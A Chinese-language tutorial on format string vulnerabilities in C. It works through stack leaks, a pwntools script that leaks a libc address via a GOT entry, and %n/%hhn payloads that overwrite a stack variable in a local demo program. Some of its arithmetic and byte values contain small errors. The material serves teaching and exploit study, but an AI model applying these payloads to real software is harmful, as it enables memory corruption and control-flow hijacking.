效能提升40%!阿里雲神龍大資料加速引擎獲TPCx-BB世界排名第一
格式化字串漏洞
0x00 格式化字串介紹
格式化字串(format string),是一些程式設計語言在格式化輸出API函式中用於指定輸出引數的格式與相對位置的字串引數,通俗講,就是將計算機記憶體表示的資料轉化為人類可讀字串格式。
在C語言中,有如下會進行格式化字串輸出的函式
fprint() print() sprintf() snprintf() dprintf() vfprintf() vprint() vsprintf() vsnprintf() vdprintf()
c常用的還是printf
格式化字串是由普通字元(包括“%”)和轉換規則構成的字元序列,普通字元被原封不動的複製到輸出流中。轉換規則則根據與實參對應的轉化指示符對其進行轉換,然後將結果寫入到輸出流
轉換規則
**%[parameter][flags][width][.precision][length]type ** 舉其中兩個例子
parameter 用來指定某個引數
eg:
#include <stdio.h>
void main(){
int a=0x11,b=0x22,c=0x33;
printf("%3$p",a,b,c);
}
結果:
root@ubuntu20:~/fmt# ./demo
0x33r
length指出浮點型引數或整型引數的長度
hh:輸出1byte
h:輸出2byte
l:輸出4byte
ll:輸出8byte
基本的格式化字串引數
%c:輸出字元,配上%n可用於向指定地址寫資料。例子如下:
int main()
{
printf("%c",65);//輸出'A'
return 0;
}
int main()
{
printf("%1000c",65);//輸出'A',考慮width 1000,右對齊填充空格
return 0;
}
輸出結果:
root@ubuntu20:~/fmt# ./demo
A
與%c有同樣效果的格式化字串還有%d和%s,它們都可以輸出大量字元
%d:輸出十進位制整數,配上%n可用於向指定地址寫資料。
%x:輸出16進位制資料,如%i$x表示要洩漏偏移i處4位元組長的16進位制資料,%i$lx表示要洩漏偏移i處8位元組長的16進位制資料,32bit和64bit環境下一樣。
%p:輸出16進位制資料,與%x基本一樣,只是附加了字首0x,在32bit下輸出4位元組,在64bit下輸出8位元組,可通過輸出位元組的長度來判斷目標環境是32bit還是64bit。%p在格式化字串漏洞中用來洩露資訊看以下例子
#include <stdio.h>
int main()
{
int a=0x12345678;
printf("%p", a);
return 0;
}
Output: 0x12345678
#include <stdio.h>
int main()
{
int a=0x12345678;
printf("%p",&a);
return 0;
}
Output:0xffcf9b48
%s:%s 可以獲取變數對應地址的資料,即將棧中資料當作一個地址,獲取這個地址中的資料,存在0截斷假設存在如下程式
%n:將%n之前printf已經列印的字元個數賦值給偏移處指標所指向的地址位置,如%100×10$n表示將0x64寫入偏移10處儲存的指標所指向的地址(4位元組),而%$hn表示寫入的地址空間為2位元組,%$hhn表示寫入的地址空間為1位元組,%$lln表示寫入的地址空間為8位元組,在32bit和64bit環境下一樣。有時,直接寫4位元組會導致程式崩潰或等候時間過長,可以通過%$hn或%$hhn來適時調整。
%n轉換指示符將當前已經成功寫入流或者緩衝區的字元個數儲存到引數指定的位置中,是通過格式化字串漏洞改變程式流程的關鍵方式,而其他格式化字串引數可用於讀取資訊或配合%n寫資料。
看以下例子
#include<stdio.h>
void main() {
int i;
char str[] = "hello";
printf("%s %n\n", str, &i);
printf("%d\n", i);
}
root@ubuntu20:~/fmt# ./demo
hello
6 #hello五字元加一個空格,共6字元
0x01 漏洞基本原理
eg1:
我們知道棧是由高地址向地址增長的,printf函式的引數是逆序被壓入棧中,那麼引數在棧中出現的位置順序與printf引數的位置順序是一致的
#include<stdio.h>
void main() {
printf("%s %d %s", "Hello World!", 233, "\n");
}
按照規定,"%s %d %s"
這一串格式化字串,會被一個一個字元讀取,讀到%
匹配引數,並輸出。
所以結果如下
root@ubuntu20:~/fmt# ./demo
Hello World! 233
以上是正常的操作方式,如果我們在引數不變的情況下對格式化字串進行修改,那麼便會造成漏洞
在%s %d %s
之後加上%x %x %x %3$s
,如下
#include<stdio.h>
void main() {
printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
}
root@ubuntu20:~/fmt# ./demo
Hello World! 233
ffffd5d0 0 0
在引數只有3個的情況下,我們列印了7個值(算上\n
),前3個引數對應printf給的3個引數,但是後4個對應0xffffd570 0xffffd574 0xffffd578 0xffffd56c 這4個棧記憶體空間。(%3$s是第三個引數的意思),所以此番操作已是棧資料洩露
eg2:
再有一個例子,這個例子的格式化字串變為可控
#include<stdio.h>
void main() {
char buf[50];
if (fgets(buf, sizeof buf, stdin) == NULL) //用fget函式獲取字串,寫入buf中
return;
printf(buf);
}
root@ubuntu20:~/fmt# ./demo
aaa %x %x %x
aaa 32 f7fbd580 56556228
可以看到把本不該輸出的記憶體資料輸出了
所以格式化字串的致命之處在於格式化字串要求的引數與實際的引數不匹配
0x02 漏洞利用
利用格式化字串漏洞,可以使程式崩潰、棧資料洩露、任意地址記憶體洩露、棧資料覆蓋、任意地址記憶體覆蓋
0x0 棧資料洩露
前面基本原理有涉獵,再看另一示例
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}
root@ubuntu20:~/fmt# ./demo
%08x.%08x.%08x.%08x.%08x
00000001.88888888.ffffffff.ffffd522.ffffd52c
根據前面所講,如此洩露十分簡單易懂
0x1 任意地址記憶體洩露
%s旨在取出指標的內容,那麼構造一個含got表項的格式化字串,然後找到其在棧中的位置,那麼就可以洩露函式地址
確定引數位置
還是上一題的程式碼,我們輸入
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
目的是為了找到輸入的字串在棧中的具體位置
root@ubuntu20:~# ./fmt/demo
#輸入
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
#輸出
AAAA.0x1.0x88888888.0xffffffff.0xffffd51a.0xffffd524.0xf7ffdb50.0x80491f4.0x80482f0.0xf7fdc6dd.0x42418278.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
發現0x41414141在第13個引數的位置,所以明確了輸入的字元所在位置
當然用fmtarg命令也可以很快找出引數位置,需要進行除錯
嘗試洩露地址:
當確定輸入引數的位置後,我們可以輸入got表地址配合%13$s來輸出函式真實地址,操作如下:
找一下print@got的地址
但是我發現輸入的地址有問題
root@ubuntu20:~# python -c 'print("\x0c\xc0\x04\x08"+".%p"*15)' | ./fmt/demo
�.0x1.0x88888888.0xffffffff.0xffffd51a.0xffffd524.0xf7ffdb50.0x80491f4.0x80482f0.0xf7fdc6dd.0x42418278.0x4443.(nil).0x2e0804c0.0x252e7025.0x70252e70
root@ubuntu20:~# ./fmt/demo
輸入的0x0804c00c
變成了0x2e0804c0
,是'\x0c'不見了
具體是什麼原因也不是很清楚,應該不是不可見字元的原因,因為我試了其他的並沒有問題,反正'\x0c'是被程式忽略了。
那沒有辦法只能更換其他的got地址
學了一個新的查詢got方式,這樣就不用在ida找了
root@ubuntu20:~/fmt# readelf -r demo
Relocation section '.rel.dyn' at offset 0x364 contains 1 entry:
Offset Info Type Sym.Value Sym. Name
0804bffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x36c contains 4 entries:
Offset Info Type Sym.Value Sym. Name
0804c00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804c010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804c014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
0804c018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
我們試一下__libc_start_main
的got
root@ubuntu20:~/fmt# python -c 'print("\x10\xc0\x04\x08"+".%p"*15)' | ./demo
�.0x1.0x88888888.0xffffffff.0xffffd51a.0xffffd524.0xf7ffdb50.0x80491f4.0x80482f0.0xf7fdc6dd.0x42418278.0x4443.(nil).0x804c010.0x2e70252e.0x252e7025
發現沒有問題
好,exp安排
from pwn import *
context.log_level="debug"
p = process('./demo')
elf=ELF('./demo')
libc=ELF('/usr/lib/i386-linux-gnu/libc-2.31.so')
payload = p32(elf.got['__libc_start_main']) + '%13$s'
p.sendline(payload)
r = hex(u32(p.recv()[4:8]))
print r
root@ubuntu20:~/fmt# python demo.py
[+] Starting local process './demo' argv=['./demo'] : pid 4340
[*] '/root/fmt/demo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/usr/lib/i386-linux-gnu/libc-2.31.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Sent 0xa bytes:
00000000 10 c0 04 08 25 31 33 24 73 0a │····│%13$│s·│
0000000a
[*] Process './demo' stopped with exit code 10 (pid 4340)
[DEBUG] Received 0x11 bytes:
00000000 10 c0 04 08 f0 cd de f7 60 90 04 08 a0 33 e2 f7 │····│····│`···│·3··│
00000010 0a │·│
00000011
0xf7decdf0
確實拿到了地址,檢驗一下,沒有問題!
這就是格式化字串的任意地址洩露
0x2 棧資料覆蓋
據前面所提到的%n引數,這個引數會將字元個數儲存到引數指定的位置中,那麼可以利用該引數覆蓋棧中的一些資料。
還是拿上面的程式碼距離
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}
通過覆蓋我們可以把arg2改成任意數字,好比如0x00000018
那麼如何構造格式化字串?
風水構造
我們的思路是:這串格式化字串,要包含有arg2在棧中的地址,然後我們用$n的方式去定位這個地址在棧中位置,再利用%n把字元數賦值給該地址指向的內容,就是把arg2的值改了。
通過除錯我們知道輸入的串放在"%15$p"及後面
而且我們知道了arg2在棧中的位置0xffffd4b8
,即\xb8\xd4\xff\xff
這樣格式化字串已佔去4位元組
再加上填充,比如%8x表示8字元寬的十六進位制數,佔8位元組,比如%12d,佔12位元組
那麼加起來4+8+12就剛好是24
那麼這串格式化字串就長這樣
\xb8\xd4\xff\xff%8x%12d%15$n
放進文字
python -c 'print("\xb8\xd4\xff\xff%8x%12d%15$n")' > text
我們可以看到0xffffd4b8
的位置變成了0x00000018,arg2的值已經被我們覆蓋
0x3任意地址記憶體覆蓋(棧資料覆蓋進階)
覆蓋為小值
當然如果按照上面的構造覆蓋的值最小隻能是4,因為必須有地址,所以必須佔4位元組。
那麼如果把地址放後面呢%n會把它算進個數嗎
類似於"AA%17$nA"+"\xb8\xd4\xff\xff"
(兩個A在於讓n計數為2,第17個是因為地址放後,前面有兩個四位元組)
同時因為地址放到後面所以$n後要補A跟前面的字串湊成4的倍數,這樣地址才能存入一個完整的單元(4位元組)
除錯,成功覆蓋
覆蓋為1就把A挪到後邊,像"A%17$nAA"+"\xb8\xd4\xff\xff"
覆蓋為大值
要知道當要寫入一個地址,類似0xffffd4b8,這個數的值是很大的,如果直接按照字元輸入%n寫入個數的方法會造成好多的字元佔用,無疑會讓程式崩潰。
所以要換一種思路覆蓋——逐位元組的覆蓋
也就是說更改一個4位元組的A地址,我們可以用四個跳轉地址,指向A地址的每一個位元組,然後再覆蓋
如果要把0xffffd4b8
的值從0x88888888
改成0x12345678
輸入AAAABBBBCCCCDDDD確定位置
0xffffd4ec -> 0x41414141(0xffffd4b8) -> \x78
0xffffd4f0 -> 0x42424242(0xffffd4b9) -> \x56
0xffffd4f4 -> 0x43434343(0xffffd4ba) -> \x34
0xffffd4ec -> 0x44444444(0xffffd4bb) -> \x12
構造的字串如下:
python -c 'print ("\xb8\xd4\xff\xff"+"\xb9\xd4\xff\xff"+"\xba\xd4\xff\xff"+"\xbb\xd4\xff\xff"+"%104c%15$hhn"+"%222c%16$hhn"+"%222c%17$hhn"+"%222c%18$hhn")' >text
前四個位元組分別是四個跳轉地址,佔16位元組
使用hhn的形式,只會儲存低位元組:
0x78(16+104=102 ->0x78)、0x65(120+222=342 ->0x0156 ->0x56)、0x43(342+222=564 -> 0x0234 ->0x34)、0x12(564+222 = 786 -> 0x312 -> 0x12)
注意:真實情況下,不同機子的地址會變化,需要先洩露一個棧地址,然後再根據洩露棧地址推算棧上的其他地址
0x4 侷限
以上的操作都是對於 32位linux系統的,對於64位linux系統,由於有暫存器的參與實際操作會有不同
比如洩露棧上地址的引數位置就不一樣,因為多了六個暫存器在儲存引數,分別是RDI、RSI、RDX、RCX、R8、R9
也正是如此,我們如果還要修改arg2就不現實了,因為他被存入暫存器中,我們沒法再如前面通過地址定位然後修改。